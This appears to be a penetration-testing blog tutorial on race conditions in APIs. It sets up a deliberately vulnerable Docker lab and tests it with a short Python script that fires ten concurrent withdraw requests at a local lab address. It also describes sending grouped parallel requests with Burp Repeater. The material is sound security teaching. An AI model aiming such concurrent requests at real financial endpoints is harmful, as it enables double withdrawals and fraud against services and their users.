race-condition-api

Exploiting Race Conditions in API

Hi everyone, welcome to Pentestguy! In this post, we’re diving into exploiting race conditions in API. We’ll set up our own vulnerable API to demonstrate how race conditions occur and explore methods for exploiting them effectively.

What is Race Condition?

A race condition happens when two or more processes or actions try to access or change the same data at the same time, and the final outcome depends on the order in which they happen. Think of it like two people trying to withdraw money from the same bank account at the exact same moment. If the bank doesn’t handle this correctly, both might end up withdrawing money without realizing the account balance went negative or wasn’t enough for both withdrawals.

In the context of software or APIs, race conditions can create serious security issues because they might let people perform actions they shouldn’t be able to—like double-charging or accessing restricted information—simply by timing their requests just right.

Setup the Race Condition API Lab

Well, I have created very simple APIs named Race-Condition-API vulnerable to race conditions, which you can use to test the race condition on withdraw functionality. Setting it up is very easy via docker, please follow the below steps.

Open the terminal and download/clone the repository

git clone https://github.com/pentestguy/race-condition-api.git

Change the path to the race-condition-api directory, and execute the below docker command to create an image and run the services.

docker build -t race-condition-api .
docker run -p 5000:5000 race-condition-api

After running it successfully, import the API collection into the postman. Also, make sure to set up the burp-suite proxy in Postman. If you don’t know how to do it, follow the below video of API pentesting.

Test the Race Condition

Test using Python script

In this scenario, we are going to test the race condition for withdraw using a simple Python script, as there are many other ways to test the race condition like via burp repeater or turbo intruder.

First, check the account balance using the check-balance call.

Use the below Python code to test the race condition(it’s already available in the repository, which is named test.py). Save it with any name along with .py extension.

import requests
import threading
import time
import random

def withdraw():
    url = "http://172.17.0.2:5000/withdraw" #Make sure to use own lab/docker IP
    payload = {"account_id": 1, "amount": 10}
    
    # Introduce a random delay to increase the chance of a race condition
    time.sleep(random.uniform(0.01, 0.1))
    
    response = requests.post(url, json=payload)
    
    # Print the response from the server
    print(response.json())

def main():
    threads = []
    for _ in range(10):  # Simulate 10 concurrent requests
        thread = threading.Thread(target=withdraw)
        thread.start()
        threads.append(thread)

    for thread in threads:
        thread.join()

if __name__ == "__main__":
    main()

Open the terminal and execute the above Python code using the below command.

python3 test.py

Check the balance once again to verify whether the race condition was exploited successfully or not.

Test using Burp-Repeater

Testing the race condition for an API using burp-repeater is very simple and handy if we don’t have scripting knowledge or don’t want to invest more time in scripting.

Capture the request, send it to the repeater, and make copies of the request according to the scenario. In the below picture, there are 4 requests that we are going to send parallelly in a group to perform the race condition. And can see that 3 requests hit successfully.

Here we demonstrated a simple example of race condition, you can explore more examples on port swigger academy – https://portswigger.net/web-security/all-labs#race-conditions

That’s all about this post. Please share this post with your co-workers and friends if you found it helpful. Please provide valuable comments and let us know if you have any suggestions. Now, you can also collaborate with us. Please check our collaboration page. Thank you!